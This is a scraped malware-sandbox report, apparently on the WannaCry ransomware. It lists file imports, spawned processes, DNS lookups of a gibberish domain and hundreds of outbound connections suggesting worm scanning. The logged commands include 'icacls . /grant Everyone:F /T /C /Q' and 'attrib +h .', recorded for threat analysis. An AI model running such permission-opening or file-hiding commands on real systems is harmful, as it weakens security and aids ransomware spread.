0x505000 Virtual Size 0x2ac Raw Size 0x1000 MD5 620f0b67a91f7f74151bc5be745b7110 File Imports KERNEL32.dll MSVCRT.dll CloseHandle CreateFileA CreateProcessA FindResourceA LoadResource LockResource SizeofResource WriteFile Screenshots Hybrid Analysis Tip: Click an analysed process below to view more details. Analysed 12 processes in total (System Resource Monitor). rundll32.exe ""C:\\2a8efbfadd798f6111340f7c1c956bee.dll"",PlayGame (PID: 2388) mssecsvc.exe (PID: 2376) tasksche.exe /i (PID: 736) 58/66 tasksche.exe (PID: 3032) 58/66 attrib.exe attrib +h . (PID: 3372) icacls.exe icacls . /grant Everyone:F /T /C /Q (PID: 2972) attrib.exe attrib +h . (PID: 3744) icacls.exe icacls . /grant Everyone:F /T /C /Q (PID: 3732) mssecsvc.exe -m security (PID: 2368) tasksche.exe (PID: 2136) 58/66 attrib.exe attrib +h . (PID: 2344) icacls.exe icacls . /grant Everyone:F /T /C /Q (PID: 2672) ... and some more processes with no relevance. Logged Script Calls Logged Stdout Extracted Streams Memory Dumps Reduced Monitoring Network Activity Network Error Multiscan Match Network Analysis DNS Requests Domain Address Registrar Country www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 104.17.40.137 TTL: 299 NAMECHEAP INC Name Server: BRUCE.NS.CLOUDFLARE.COM Creation Date: Fri, 12 May 2017 00:00:00 GMT Flag of United States United States Contacted Hosts Displaying the first 1000 contacted hosts. The remaining 2088 entries are available in the full report, but download of the full report is disabled. IP Address Port/Protocol Associated Process Details 104.17.40.137 80 TCP mssecsvc.exe PID: 2376 mssecsvc.exe PID: 2368 Flag of United States United States 41.140.144.229 63894 TCP mssecsvc.exe PID: 2368 Flag of Morocco Morocco 70.104.219.196 63907 TCP mssecsvc.exe PID: 2368 Flag of United States United States 27.226.17.13 63915 TCP mssecsvc.exe PID: 2368 Flag of China China 66.59.179.216 63919 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 93.104.128.203 63928 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 27.79.216.46 63931 TCP mssecsvc.exe PID: 2368 Flag of Viet Nam Viet Nam 138.220.153.64 63939 TCP mssecsvc.exe PID: 2368 Flag of United States United States 8.185.167.2 63940 TCP mssecsvc.exe PID: 2368 Flag of United States United States 221.74.189.40 63943 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 158.122.188.35 63952 TCP mssecsvc.exe PID: 2368 Flag of United States United States 47.246.198.1 63954 TCP mssecsvc.exe PID: 2368 Flag of United States United States 43.100.114.153 63957 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 78.105.95.52 63965 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 96.69.251.55 63968 TCP mssecsvc.exe PID: 2368 Flag of United States United States 60.102.99.16 63970 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 152.104.244.150 63972 TCP mssecsvc.exe PID: 2368 Flag of China China 152.213.60.160 63980 TCP mssecsvc.exe PID: 2368 Flag of United States United States 1.23.9.46 63985 TCP mssecsvc.exe PID: 2368 Flag of India India 86.65.210.178 63986 TCP mssecsvc.exe PID: 2368 Flag of France France 162.85.217.157 63989 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 208.110.147.55 63995 TCP mssecsvc.exe PID: 2368 Flag of United States United States 22.201.149.45 63996 TCP mssecsvc.exe PID: 2368 Flag of United States United States 140.16.131.208 64001 TCP mssecsvc.exe PID: 2368 Flag of United States United States 150.66.208.64 64002 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 143.225.183.27 64006 TCP mssecsvc.exe PID: 2368 Flag of Italy Italy 164.158.164.141 64011 TCP mssecsvc.exe PID: 2368 Flag of United States United States 109.243.206.29 64013 TCP mssecsvc.exe PID: 2368 Flag of Poland Poland 182.94.167.7 64017 TCP mssecsvc.exe PID: 2368 Flag of India India 92.26.237.228 64019 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 47.225.124.196 64023 TCP mssecsvc.exe PID: 2368 Flag of United States United States 161.185.187.238 64026 TCP mssecsvc.exe PID: 2368 Flag of United States United States 183.109.77.34 64028 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 198.166.53.97 64032 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 99.204.97.153 64036 TCP mssecsvc.exe PID: 2368 Flag of United States United States 104.221.73.178 64037 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 152.184.109.163 64042 TCP mssecsvc.exe PID: 2368 Flag of United States United States 160.124.204.92 64043 TCP mssecsvc.exe PID: 2368 Flag of South Africa South Africa 51.228.114.57 64046 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 143.81.20.200 64050 TCP mssecsvc.exe PID: 2368 Flag of United States United States 139.116.66.184 64054 TCP mssecsvc.exe PID: 2368 Flag of Norway Norway 140.227.23.108 64056 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 113.204.142.0 64059 TCP mssecsvc.exe PID: 2368 Flag of China China 59.32.186.179 64060 TCP mssecsvc.exe PID: 2368 Flag of China China 181.49.247.174 64062 TCP mssecsvc.exe PID: 2368 Flag of Colombia Colombia 24.236.246.74 64065 TCP mssecsvc.exe PID: 2368 Flag of United States United States 212.211.59.72 64068 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 89.153.13.102 64074 TCP mssecsvc.exe PID: 2368 Flag of Portugal Portugal 201.137.111.73 64075 TCP mssecsvc.exe PID: 2368 Flag of Mexico Mexico 158.72.17.85 64077 TCP mssecsvc.exe PID: 2368 Flag of United States United States 77.32.134.104 64079 TCP mssecsvc.exe PID: 2368 Flag of Poland Poland 217.43.232.159 64080 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 159.165.236.177 64085 TCP mssecsvc.exe PID: 2368 Flag of United States United States 191.70.55.199 64087 TCP mssecsvc.exe PID: 2368 Flag of Colombia Colombia 194.70.78.46 64092 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 214.117.225.188 64094 TCP mssecsvc.exe PID: 2368 Flag of United States United States 14.206.83.138 64095 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 85.234.40.227 64097 TCP mssecsvc.exe PID: 2368 Flag of Russian Federation Russian Federation 194.195.248.125 64098 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 9.39.235.76 64101 TCP mssecsvc.exe PID: 2368 Flag of United States United States 135.170.147.185 64104 TCP mssecsvc.exe PID: 2368 Flag of United States United States 158.109.83.241 64108 TCP mssecsvc.exe PID: 2368 Flag of Spain Spain 53.84.31.105 64113 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 59.51.251.120 64114 TCP mssecsvc.exe PID: 2368 Flag of China China 18.23.141.242 64115 TCP mssecsvc.exe PID: 2368 Flag of United States United States 34.154.55.28 64117 TCP mssecsvc.exe PID: 2368 Flag of United States United States 123.211.105.225 64119 TCP mssecsvc.exe PID: 2368 Flag of Australia Australia 135.156.127.250 64122 TCP mssecsvc.exe PID: 2368 Flag of United States United States 118.142.186.196 64125 TCP mssecsvc.exe PID: 2368 Flag of Hong Kong Hong Kong 9.113.250.242 64128 TCP mssecsvc.exe PID: 2368 Flag of United States United States 43.79.150.31 64129 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 6.57.116.91 64132 TCP mssecsvc.exe PID: 2368 Flag of United States United States 167.170.186.35 64134 TCP mssecsvc.exe PID: 2368 Flag of United States United States 75.146.253.239 64135 TCP mssecsvc.exe PID: 2368 Flag of United States United States 154.1.142.55 64136 TCP mssecsvc.exe PID: 2368 Flag of United States United States 9.181.223.212 64139 TCP mssecsvc.exe PID: 2368 Flag of United States United States 103.87.125.234 64142 TCP mssecsvc.exe PID: 2368 Flag of Sri Lanka Sri Lanka 114.114.183.45 64145 TCP mssecsvc.exe PID: 2368 Flag of China China 51.208.106.81 64147 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 199.151.110.112 64149 TCP mssecsvc.exe PID: 2368 Flag of United States United States 216.164.99.136 64151 TCP mssecsvc.exe PID: 2368 Flag of United States United States 112.250.61.157 64153 TCP mssecsvc.exe PID: 2368 Flag of China China 171.46.48.199 64154 TCP mssecsvc.exe PID: 2368 Flag of China China 89.119.42.217 64156 TCP mssecsvc.exe PID: 2368 Flag of Italy Italy 126.204.79.107 64159 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 215.254.197.247 64161 TCP mssecsvc.exe PID: 2368 Flag of United States United States 133.117.20.228 64166 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 126.213.47.130 64167 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 120.108.74.237 64171 TCP mssecsvc.exe PID: 2368 Flag of Taiwan; Republic of China (ROC) Taiwan; Republic of China (ROC) 15.159.214.54 64172 TCP mssecsvc.exe PID: 2368 Flag of United States United States 173.35.45.34 64174 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 24.162.174.109 64175 TCP mssecsvc.exe PID: 2368 Flag of United States United States 210.252.69.155 64177 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 190.14.10.65 64180 TCP mssecsvc.exe PID: 2368 Flag of Argentina Argentina 176.170.23.123 64182 TCP mssecsvc.exe PID: 2368 Flag of France France 153.253.197.109 64183 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 150.102.247.236 64188 TCP mssecsvc.exe PID: 2368 Flag of United States United States 203.65.60.40 64189 TCP mssecsvc.exe PID: 2368 Flag of Taiwan; Republic of China (ROC) Taiwan; Republic of China (ROC) 178.80.23.2 64192 TCP mssecsvc.exe PID: 2368 Flag of Saudi Arabia Saudi Arabia 193.214.180.155 64193 TCP mssecsvc.exe PID: 2368 Flag of Norway Norway 13.181.230.220 64196 TCP mssecsvc.exe PID: 2368 Flag of United States United States 9.38.48.18 64198 TCP mssecsvc.exe PID: 2368 Flag of United States United States 34.154.88.212 64199 TCP mssecsvc.exe PID: 2368 Flag of United States United States 199.92.0.167 64202 TCP mssecsvc.exe PID: 2368 Flag of United States United States 198.74.181.9 64203 TCP mssecsvc.exe PID: 2368 Flag of United States United States 42.48.68.235 64206 TCP mssecsvc.exe PID: 2368 Flag of China China 199.174.222.89 64207 TCP mssecsvc.exe PID: 2368 Flag of United States United States 72.104.13.45 64212 TCP mssecsvc.exe PID: 2368 Flag of United States United States 69.215.70.230 64213 TCP mssecsvc.exe PID: 2368 Flag of United States United States 211.162.154.136 64215 TCP mssecsvc.exe PID: 2368 Flag of China China 112.19.68.7 64216 TCP mssecsvc.exe PID: 2368 Flag of China China 4.46.199.78 64219 TCP mssecsvc.exe PID: 2368 Flag of United States United States 60.111.216.174 64221 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 48.94.43.251 64224 TCP mssecsvc.exe PID: 2368 Flag of United States United States 170.163.243.21 64225 TCP mssecsvc.exe PID: 2368 Flag of United States United States 197.56.35.157 64228 TCP mssecsvc.exe PID: 2368 Flag of Egypt Egypt 151.132.127.26 64231 TCP mssecsvc.exe PID: 2368 Flag of United States United States 188.103.135.114 64233 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 74.232.108.85 64236 TCP mssecsvc.exe PID: 2368 Flag of United States United States 218.215.235.98 64237 TCP mssecsvc.exe PID: 2368 Flag of Australia Australia 217.78.127.8 64239 TCP mssecsvc.exe PID: 2368 Flag of Switzerland Switzerland 210.16.140.201 64240 TCP mssecsvc.exe PID: 2368 Flag of China China 34.58.8.152 64244 TCP mssecsvc.exe PID: 2368 Flag of United States United States 16.45.186.90 64245 TCP mssecsvc.exe PID: 2368 Flag of United States United States 16.185.50.242 64246 TCP mssecsvc.exe PID: 2368 Flag of United States United States 178.133.97.123 64247 TCP mssecsvc.exe PID: 2368 Flag of Ukraine Ukraine 98.193.42.197 64248 TCP mssecsvc.exe PID: 2368 Flag of United States United States 89.66.222.109 64249 TCP mssecsvc.exe PID: 2368 Flag of Poland Poland 28.247.92.246 64252 TCP mssecsvc.exe PID: 2368 Flag of United States United States 104.56.169.220 64254 TCP mssecsvc.exe PID: 2368 Flag of United States United States 38.230.239.86 64258 TCP mssecsvc.exe PID: 2368 Flag of United States United States 102.177.40.141 64259 TCP mssecsvc.exe PID: 2368 Flag of South Africa South Africa 86.111.193.43 64261 TCP mssecsvc.exe PID: 2368 Flag of Saudi Arabia Saudi Arabia 118.251.201.207 64262 TCP mssecsvc.exe PID: 2368 Flag of China China 48.54.143.206 64265 TCP mssecsvc.exe PID: 2368 Flag of United States United States 2.163.198.235 64266 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 16.93.214.139 64267 TCP mssecsvc.exe PID: 2368 Flag of United States United States 204.141.142.178 64268 TCP mssecsvc.exe PID: 2368 Flag of United States United States 22.62.245.9 64269 TCP mssecsvc.exe PID: 2368 Flag of United States United States 145.83.156.100 64270 TCP mssecsvc.exe PID: 2368 Flag of Netherlands Netherlands 96.205.182.92 64273 TCP mssecsvc.exe PID: 2368 Flag of United States United States 122.188.184.109 64274 TCP mssecsvc.exe PID: 2368 Flag of China China 26.81.156.214 64279 TCP mssecsvc.exe PID: 2368 Flag of United States United States 84.55.180.229 64280 TCP mssecsvc.exe PID: 2368 Flag of France France 181.247.125.20 64282 TCP mssecsvc.exe PID: 2368 Flag of Colombia Colombia 29.33.152.9 64284 TCP mssecsvc.exe PID: 2368 Flag of United States United States 13.125.180.91 64290 TCP mssecsvc.exe PID: 2368 Flag of United States United States 96.197.172.11 64291 TCP mssecsvc.exe PID: 2368 Flag of United States United States 159.231.86.189 64292 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 169.171.254.25 64293 TCP mssecsvc.exe PID: 2368 Flag of United States United States 173.11.128.180 64294 TCP mssecsvc.exe PID: 2368 Flag of United States United States 36.132.31.22 64295 TCP mssecsvc.exe PID: 2368 Flag of China China 35.23.189.14 64297 TCP mssecsvc.exe PID: 2368 Flag of United States United States 46.157.184.54 64299 TCP mssecsvc.exe PID: 2368 Flag of Norway Norway 40.199.66.13 64301 TCP mssecsvc.exe PID: 2368 Flag of United States United States 101.22.112.126 64304 TCP mssecsvc.exe PID: 2368 Flag of China China 141.31.145.59 64305 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 217.30.149.1 64309 TCP mssecsvc.exe PID: 2368 Flag of Poland Poland 66.106.7.118 64311 TCP mssecsvc.exe PID: 2368 Flag of United States United States 98.234.201.226 64314 TCP mssecsvc.exe PID: 2368 Flag of United States United States 145.203.212.111 64315 TCP mssecsvc.exe PID: 2368 Flag of Netherlands Netherlands 100.70.7.196 64316 TCP mssecsvc.exe PID: 2368 Flag of Reserved Reserved 29.62.92.19 64317 TCP mssecsvc.exe PID: 2368 Flag of United States United States 77.127.29.161 64319 TCP mssecsvc.exe PID: 2368 Flag of Israel Israel 151.231.218.95 64320 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 167.228.69.213 64322 TCP mssecsvc.exe PID: 2368 Flag of United States United States 166.94.167.21 64323 TCP mssecsvc.exe PID: 2368 Flag of United States United States 68.125.136.230 64324 TCP mssecsvc.exe PID: 2368 Flag of United States United States 52.240.60.46 64325 TCP mssecsvc.exe PID: 2368 Flag of United States United States 20.196.98.15 64326 TCP mssecsvc.exe PID: 2368 Flag of United States United States 169.83.194.98 64327 TCP mssecsvc.exe PID: 2368 Flag of United States United States 48.28.131.14 64328 TCP mssecsvc.exe PID: 2368 Flag of United States United States 205.27.170.10 64329 TCP mssecsvc.exe PID: 2368 Flag of United States United States 95.212.244.87 64330 TCP mssecsvc.exe PID: 2368 Flag of Egypt Egypt 155.7.7.18 64331 TCP mssecsvc.exe PID: 2368 Flag of United States United States 120.135.158.162 64332 TCP mssecsvc.exe PID: 2368 Flag of China China 22.140.133.202 64333 TCP mssecsvc.exe PID: 2368 Flag of United States United States 86.151.109.123 64334 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 25.163.21.174 64335 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 47.204.199.25 64336 TCP mssecsvc.exe PID: 2368 Flag of United States United States 125.24.104.119 64337 TCP mssecsvc.exe PID: 2368 Flag of Thailand Thailand 222.12.155.200 64338 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 149.245.176.4 64339 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 14.205.221.118 64340 TCP mssecsvc.exe PID: 2368 Flag of China China 53.238.158.160 64341 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 191.108.182.215 64342 TCP mssecsvc.exe PID: 2368 Flag of Colombia Colombia 119.116.49.47 64343 TCP mssecsvc.exe PID: 2368 Flag of China China 134.17.18.80 64344 TCP mssecsvc.exe PID: 2368 Flag of Belarus Belarus 151.206.198.91 64345 TCP mssecsvc.exe PID: 2368 Flag of United States United States 78.160.89.174 64346 TCP mssecsvc.exe PID: 2368 Flag of Turkey Turkey 208.31.199.109 64348 TCP mssecsvc.exe PID: 2368 Flag of United States United States 164.7.112.80 64349 TCP mssecsvc.exe PID: 2368 Flag of France France 129.108.73.230 64350 TCP mssecsvc.exe PID: 2368 Flag of United States United States 74.73.52.39 64351 TCP mssecsvc.exe PID: 2368 Flag of United States United States 175.230.118.46 64352 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 96.41.191.110 64353 TCP mssecsvc.exe PID: 2368 Flag of United States United States 45.237.3.177 64354 TCP mssecsvc.exe PID: 2368 Flag of Paraguay Paraguay 7.200.181.190 64355 TCP mssecsvc.exe PID: 2368 Flag of United States United States 38.228.74.88 64356 TCP mssecsvc.exe PID: 2368 Flag of United States United States 217.21.24.189 64357 TCP mssecsvc.exe PID: 2368 Flag of Hungary Hungary 98.92.26.95 64358 TCP mssecsvc.exe PID: 2368 Flag of United States United States 12.103.164.5 64359 TCP mssecsvc.exe PID: 2368 Flag of United States United States 74.247.116.157 64361 TCP mssecsvc.exe PID: 2368 Flag of United States United States 208.113.120.128 64362 TCP mssecsvc.exe PID: 2368 Flag of United States United States 78.2.52.217 64363 TCP mssecsvc.exe PID: 2368 Flag of Croatia (LOCAL Name: Hrvatska) Croatia (LOCAL Name: Hrvatska) 68.135.72.177 64364 TCP mssecsvc.exe PID: 2368 Flag of United States United States 93.76.85.27 64365 TCP mssecsvc.exe PID: 2368 Flag of Ukraine Ukraine 56.211.137.103 64366 TCP mssecsvc.exe PID: 2368 Flag of United States United States 134.163.58.227 64367 TCP mssecsvc.exe PID: 2368 Flag of United States United States 18.32.209.61 64368 TCP mssecsvc.exe PID: 2368 Flag of United States United States 138.118.135.186 64369 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 222.46.174.102 64370 TCP mssecsvc.exe PID: 2368 Flag of China China 139.90.103.190 64371 TCP mssecsvc.exe PID: 2368 Flag of Belgium Belgium 95.213.137.49 64372 TCP mssecsvc.exe PID: 2368 Flag of Russian Federation Russian Federation 187.25.118.92 64373 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 121.5.23.63 64374 TCP mssecsvc.exe PID: 2368 Flag of China China 222.16.71.245 64375 TCP mssecsvc.exe PID: 2368 Flag of China China 76.62.205.140 64376 TCP mssecsvc.exe PID: 2368 Flag of United States United States 197.105.104.11 64377 TCP mssecsvc.exe PID: 2368 Flag of South Africa South Africa 100.46.132.122 64378 TCP mssecsvc.exe PID: 2368 Flag of United States United States 121.221.155.243 64379 TCP mssecsvc.exe PID: 2368 Flag of Australia Australia 82.113.206.226 64380 TCP mssecsvc.exe PID: 2368 Flag of Italy Italy 155.99.209.144 64381 TCP mssecsvc.exe PID: 2368 Flag of United States United States 131.76.159.207 64382 TCP mssecsvc.exe PID: 2368 Flag of United States United States 106.68.108.231 64383 TCP mssecsvc.exe PID: 2368 Flag of Australia Australia 22.144.183.167 64384 TCP mssecsvc.exe PID: 2368 Flag of United States United States 168.65.73.5 64385 TCP mssecsvc.exe PID: 2368 Flag of United States United States 204.91.64.153 64386 TCP mssecsvc.exe PID: 2368 Flag of United States United States 205.163.238.233 64387 TCP mssecsvc.exe PID: 2368 Flag of United States United States 148.235.238.86 64388 TCP mssecsvc.exe PID: 2368 Flag of Mexico Mexico 171.9.206.22 64389 TCP mssecsvc.exe PID: 2368 Flag of China China 112.173.180.111 64390 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 138.153.4.140 64391 TCP mssecsvc.exe PID: 2368 Flag of United States United States 210.160.110.189 64392 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 192.174.139.162 64393 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 207.120.28.47 64394 TCP mssecsvc.exe PID: 2368 Flag of United States United States 30.89.136.83 64395 TCP mssecsvc.exe PID: 2368 Flag of United States United States 41.10.35.115 64396 TCP mssecsvc.exe PID: 2368 Flag of South Africa South Africa 3.99.174.252 64397 TCP mssecsvc.exe PID: 2368 Flag of United States United States 16.185.94.65 64398 TCP mssecsvc.exe PID: 2368 Flag of United States United States 113.32.225.241 64399 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 31.102.66.39 64400 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 129.83.157.17 64401 TCP mssecsvc.exe PID: 2368 Flag of United States United States 206.86.81.159 64402 TCP mssecsvc.exe PID: 2368 Flag of United States United States 60.11.59.242 64403 TCP mssecsvc.exe PID: 2368 Flag of China China 82.128.80.220 64404 TCP mssecsvc.exe PID: 2368 Flag of Nigeria Nigeria 185.198.35.124 64405 TCP mssecsvc.exe PID: 2368 Flag of Lithuania Lithuania 136.129.139.119 64406 TCP mssecsvc.exe PID: 2368 Flag of United States United States 66.3.75.136 64407 TCP mssecsvc.exe PID: 2368 Flag of United States United States 76.204.91.15 64408 TCP mssecsvc.exe PID: 2368 Flag of United States United States 106.25.176.28 64409 TCP mssecsvc.exe PID: 2368 Flag of China China 80.50.189.225 64410 TCP mssecsvc.exe PID: 2368 Flag of Poland Poland 165.210.23.132 64411 TCP mssecsvc.exe PID: 2368 Flag of Cameroon Cameroon 119.199.240.72 64412 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 201.13.217.152 64413 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 45.100.90.117 64414 TCP mssecsvc.exe PID: 2368 Flag of Egypt Egypt 168.100.130.12 64415 TCP mssecsvc.exe PID: 2368 Flag of United States United States 66.87.20.108 64416 TCP mssecsvc.exe PID: 2368 Flag of United States United States 123.224.79.122 64417 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 21.80.190.213 64418 TCP mssecsvc.exe PID: 2368 Flag of United States United States 61.231.105.144 64419 TCP mssecsvc.exe PID: 2368 Flag of Taiwan; Republic of China (ROC) Taiwan; Republic of China (ROC) 91.32.213.120 64420 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 70.31.76.22 64421 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 146.12.118.109 64422 TCP mssecsvc.exe PID: 2368 Flag of United States United States 57.201.49.159 64423 TCP mssecsvc.exe PID: 2368 Flag of Belgium Belgium 20.58.167.214 64424 TCP mssecsvc.exe PID: 2368 Flag of United States United States 2.139.5.115 64425 TCP mssecsvc.exe PID: 2368 Flag of Spain Spain 134.208.57.227 64426 TCP mssecsvc.exe PID: 2368 Flag of Taiwan; Republic of China (ROC) Taiwan; Republic of China (ROC) 175.172.136.38 64427 TCP mssecsvc.exe PID: 2368 Flag of China China 166.190.227.97 64428 TCP mssecsvc.exe PID: 2368 Flag of United States United States 125.150.183.29 64429 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 74.240.216.231 64430 TCP mssecsvc.exe PID: 2368 Flag of United States United States 54.143.66.205 64431 TCP mssecsvc.exe PID: 2368 Flag of United States United States 64.85.50.5 64432 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 110.221.210.80 64433 TCP mssecsvc.exe PID: 2368 Flag of China China 61.152.114.171 64434 TCP mssecsvc.exe PID: 2368 Flag of China China 17.100.193.49 64435 TCP mssecsvc.exe PID: 2368 Flag of United States United States 27.164.46.116 64436 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 15.155.150.7 64437 TCP mssecsvc.exe PID: 2368 Flag of United States United States 212.85.156.158 64438 TCP mssecsvc.exe PID: 2368 Flag of France France 52.83.154.39 64439 TCP mssecsvc.exe PID: 2368 Flag of China China 129.178.234.138 64440 TCP mssecsvc.exe PID: 2368 Flag of Sweden Sweden 4.215.100.179 64441 TCP mssecsvc.exe PID: 2368 Flag of United States United States 71.224.68.40 64442 TCP mssecsvc.exe PID: 2368 Flag of United States United States 150.93.132.96 64443 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 43.252.136.251 64444 TCP mssecsvc.exe PID: 2368 Flag of Indonesia Indonesia 139.45.155.11 64445 TCP mssecsvc.exe PID: 2368 Flag of United States United States 31.138.201.235 64446 TCP mssecsvc.exe PID: 2368 Flag of Netherlands Netherlands 62.249.80.209 64448 TCP mssecsvc.exe PID: 2368 Flag of Austria Austria 25.97.41.79 64449 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 88.87.154.112 64450 TCP mssecsvc.exe PID: 2368 Flag of Spain Spain 55.101.128.14 64451 TCP mssecsvc.exe PID: 2368 Flag of United States United States 41.138.67.254 64452 TCP mssecsvc.exe PID: 2368 Flag of South Africa South Africa 31.251.221.192 64453 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 9.87.143.8 64454 TCP mssecsvc.exe PID: 2368 Flag of United States United States 192.69.154.85 64455 TCP mssecsvc.exe PID: 2368 Flag of United States United States 176.244.64.146 64456 TCP mssecsvc.exe PID: 2368 Flag of Italy Italy 144.112.188.43 64457 TCP mssecsvc.exe PID: 2368 Flag of United States United States 22.184.131.200 64458 TCP mssecsvc.exe PID: 2368 Flag of United States United States 190.65.104.226 64459 TCP mssecsvc.exe PID: 2368 Flag of Colombia Colombia 71.189.30.100 64460 TCP mssecsvc.exe PID: 2368 Flag of United States United States 87.19.34.169 64461 TCP mssecsvc.exe PID: 2368 Flag of Italy Italy 31.234.20.160 64462 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 112.157.1.62 64463 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 50.32.231.245 64464 TCP mssecsvc.exe PID: 2368 Flag of United States United States 36.164.228.183 64465 TCP mssecsvc.exe PID: 2368 Flag of China China 176.158.96.30 64466 TCP mssecsvc.exe PID: 2368 Flag of France France 31.82.203.167 64467 TCP mssecsvc.exe PID: 2368 Flag of United Kingdom United Kingdom 94.249.236.238 64468 TCP mssecsvc.exe PID: 2368 Flag of Germany Germany 220.211.81.248 64469 TCP mssecsvc.exe PID: 2368 Flag of Japan Japan 43.237.210.242 64470 TCP mssecsvc.exe PID: 2368 Flag of China China 198.211.49.92 64471 TCP mssecsvc.exe PID: 2368 Flag of United States United States 69.238.145.176 64472 TCP mssecsvc.exe PID: 2368 Flag of United States United States 39.189.8.113 64473 TCP mssecsvc.exe PID: 2368 Flag of China China 121.75.68.251 64474 TCP mssecsvc.exe PID: 2368 Flag of New Zealand New Zealand 78.30.24.82 64475 TCP mssecsvc.exe PID: 2368 Flag of Spain Spain 171.45.2.172 64476 TCP mssecsvc.exe PID: 2368 Flag of China China 83.89.148.234 64477 TCP mssecsvc.exe PID: 2368 Flag of Denmark Denmark 180.183.231.144 64478 TCP mssecsvc.exe PID: 2368 Flag of Thailand Thailand 24.203.93.39 64479 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 84.73.149.121 64480 TCP mssecsvc.exe PID: 2368 Flag of Switzerland Switzerland 104.25.164.67 64481 TCP mssecsvc.exe PID: 2368 Flag of United States United States 177.156.116.224 64482 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 112.186.160.173 64483 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 143.84.213.113 64484 TCP mssecsvc.exe PID: 2368 Flag of United States United States 151.174.188.150 64485 TCP mssecsvc.exe PID: 2368 Flag of United States United States 15.186.29.253 64486 TCP mssecsvc.exe PID: 2368 Flag of United States United States 8.22.152.70 64487 TCP mssecsvc.exe PID: 2368 Flag of United States United States 85.69.112.49 64488 TCP mssecsvc.exe PID: 2368 Flag of France France 160.34.78.96 64489 TCP mssecsvc.exe PID: 2368 Flag of United States United States 81.185.200.197 64490 TCP mssecsvc.exe PID: 2368 Flag of France France 84.236.17.35 64491 TCP mssecsvc.exe PID: 2368 Flag of Hungary Hungary 166.237.31.223 64492 TCP mssecsvc.exe PID: 2368 Flag of United States United States 201.125.59.7 64493 TCP mssecsvc.exe PID: 2368 Flag of Mexico Mexico 201.204.246.70 64494 TCP mssecsvc.exe PID: 2368 Flag of Costa Rica Costa Rica 81.9.58.165 64495 TCP mssecsvc.exe PID: 2368 Flag of Russian Federation Russian Federation 223.221.55.221 64496 TCP mssecsvc.exe PID: 2368 Flag of China China 168.175.213.25 64497 TCP mssecsvc.exe PID: 2368 Flag of United States United States 175.154.86.16 64498 TCP mssecsvc.exe PID: 2368 Flag of China China 41.104.111.70 64499 TCP mssecsvc.exe PID: 2368 Flag of Algeria Algeria 42.215.78.28 64500 TCP mssecsvc.exe PID: 2368 Flag of China China 192.40.139.212 64501 TCP mssecsvc.exe PID: 2368 Flag of Canada Canada 187.82.43.42 64502 TCP mssecsvc.exe PID: 2368 Flag of Brazil Brazil 88.224.28.219 64503 TCP mssecsvc.exe PID: 2368 Flag of Turkey Turkey 37.174.252.30 64504 TCP mssecsvc.exe PID: 2368 Flag of France France 119.206.85.73 64505 TCP mssecsvc.exe PID: 2368 Flag of Korea Republic of Korea Republic of 61.235.222.183 64506 TCP mssecsvc.exe PID: 2368 